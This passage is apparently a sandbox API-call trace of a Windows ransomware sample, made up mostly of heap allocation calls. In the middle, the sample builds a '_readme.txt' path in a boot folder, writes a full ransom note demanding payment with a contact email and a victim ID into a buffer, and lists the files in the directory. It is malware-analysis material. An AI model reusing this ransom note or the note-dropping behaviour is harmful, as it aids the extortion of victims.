dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.202] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.202] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.203] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.203] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.204] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.205] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.205] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.205] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.205] PathFindFileNameW (pszPath="") returned="" [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.205] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.205] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.205] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.206] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.206] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.206] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0124.206] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.206] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.206] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0124.207] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.207] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.207] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.207] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.207] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.207] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.207] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.207] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.207] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.207] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.207] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.207] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.207] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.207] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0124.208] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0124.208] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.208] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.208] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 